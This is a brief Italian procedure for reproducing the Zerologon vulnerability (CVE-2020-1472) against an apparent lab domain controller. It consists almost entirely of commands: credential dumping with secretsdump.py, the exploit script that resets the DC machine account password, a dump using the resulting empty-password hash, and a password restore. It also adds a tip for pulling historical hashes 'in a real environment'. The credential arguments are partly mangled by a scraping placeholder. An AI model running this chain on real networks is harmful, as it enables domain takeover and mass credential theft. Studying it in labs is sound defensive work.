
Procedura di riproduzione di CVE-2020-1472
Dopo la replica ho notato un piccolo bug: al riavvio la schermata di login resta bloccata per un po'. Non so se capiti solo a me. (Usare con cautela in ambienti reali.)
In un ambiente reale, puoi usare secretsdump.py con le opzioni -use-vss e -history per recuperare gli hash storici.
pip3 install -r requirements.txt
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

python3 CVE-2020-1472.py AD AD$ 192.168.175.132

secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145

secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

https://github.com/blackarrowsec/redteam-research